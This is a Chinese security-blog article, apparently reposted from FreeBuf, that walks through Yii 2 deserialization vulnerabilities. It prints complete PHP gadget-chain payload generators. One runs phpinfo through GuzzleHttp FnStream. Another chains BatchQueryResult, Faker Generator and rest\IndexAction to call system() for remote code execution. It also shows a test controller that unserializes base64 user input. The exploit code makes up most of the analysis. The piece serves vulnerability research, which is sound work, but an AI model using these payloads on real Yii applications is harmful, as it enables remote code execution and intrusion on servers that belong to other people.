YII框架反序列化利用思路
文章分析了YII框架中的反序列化漏洞,探讨了通过`__destruct`方法触发漏洞并利用`__call`和`call_user_func_array`实现远程代码执行的过程。 2025-10-17 04:19:49 Author: www.freebuf.com(查看原文) 阅读量:9 收藏

freeBuf

主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

YII框架反序列化

https://www.extrader.top/posts/c79847ee
https://www.anquanke.com/post/id/254429
https://blog.csdn.net/unexpectedthing/article/details/123829375

1.YII框架学习

  • https://github.com/yiisoft/yii2
    
  • 配置

    phpstudy php7.4.3 Apache Yii-2.0.37
    
  • url访问

    1/basic/controllers/TestController.php文件下
    
        public function actionTest($data){
            //index.php?r=test/test&data=123
            return $data;
            //漏洞触发口
    //        return unserialize(base64_decode($data));
        }
    
    http://127.0.0.1/index.php?r=test/test&data=123456
    

2.yii反序列化漏洞分析

  • 直链

    1.搜索销毁方法
    __destruct()
    找到
    1/basic/vendor/yiisoft/yii2/db/BatchQueryResult.php文件下
        public function __destruct()
        {
            // make sure cursor is closed
            $this->reset();
        }
    2.追踪reset()
    public function reset()
        {
            if ($this->_dataReader !== null) {
                $this->_dataReader->close();
            }
    
    3.寻找close()方法
    
    1/basic/vendor/guzzlehttp/psr7/src/FnStream.php文件下
      public function close()
        {
            return call_user_func($this->_fn_close);
        }
    
    <?php
    namespace GuzzleHttp\Psr7 {
        class FnStream
        {
            var $_fn_close = "phpinfo";
        }
    }
    namespace yii\db {
    
        use GuzzleHttp\Psr7\FnStream;
    
        class BatchQueryResult
        {
            private $_dataReader;
    
            public function __construct()
            {
    
                $this->_dataReader = new FnStream();
            }
        }
    }
    namespace{
    use yii\db\BatchQueryResult;
    echo base64_encode(serialize(new BatchQueryResult()));
    }
    
    • 代码执行成功

      image-20250812225031059

  • 复杂链

    接上回
    1.搜索销毁方法
    __destruct()
    找到
    1/basic/vendor/yiisoft/yii2/db/BatchQueryResult.php文件下
        public function __destruct()
        {
            // make sure cursor is closed
            $this->reset();
        }
    追踪reset()
    public function reset()
        {
            if ($this->_dataReader !== null) {
                $this->_dataReader->close();
            }
    
    2.这里调用对象close方法,于是产生可以利用call方法的bug
    搜索__call
    
    1/basic/vendor/fzaninotto/faker/src/Faker/Generator.php文件下
       public function __call($method, $attributes)
        {
            return $this->format($method, $attributes);
        }
    
    进而查询format
        public function format($formatter, $arguments = array())
        {
            return call_user_func_array($this->getFormatter($formatter), $arguments);
        }
    
    # 发现该函数已经被有所过滤,于是只能通过该方法去调用其他方法
    3.反查
    搜call_user_func执行关键字
    
    1/basic/vendor/yiisoft/yii2/rest/IndexAction.php或者1/basic/vendor/yiisoft/yii2/rest/CreateAction.php,
        public function run()
        {
            if ($this->checkAccess) {
                call_user_func($this->checkAccess, $this->id);
            }
    
            return $this->prepareDataProvider();
        }
    
    4.于是
    call_user_func_array(ViewAction.run, $arguments);
    即可进行rce
    
    # 构造payload
    namespace yii\rest{
        class IndexAction{
            public $checkAccess = 'system';
            public $id = 'calc';
        }
    }
    
    namespace Faker{
        use yii\rest\IndexAction;
        class Generator{
            protected $formatters;
            public function __construct()
            {
                $this->formatters['close'] = [new IndexAction(), 'run'];
            }
        }
    }
    
    
    namespace yii\db {
        use Faker\Generator;
        class BatchQueryResult
        {
            private $_dataReader;
           public function __construct()
            {
                $this->_dataReader = new Generator();
            }
        }
    }
    namespace{
    use yii\db\BatchQueryResult;
    echo base64_encode(serialize(new BatchQueryResult()));
    }
    
    • 鸣金收工

      image-20250812232634932

3.小迪代码审计漏洞复现

通达OA-Yii反序列化结合

https://xz.aliyun.com/t/12855

https://forum.butian.net/index.php/share/2415

攻防演练审计和0day漏洞挖掘

https://mp.weixin.qq.com/s/L5uklnBuolfqEg-bR4V0rQ

免责声明

1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。

2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。

3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。

已在FreeBuf发表 0 篇文章

本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)


文章来源: https://www.freebuf.com/articles/web/453059.html
如有侵权请联系:admin#unsafe.sh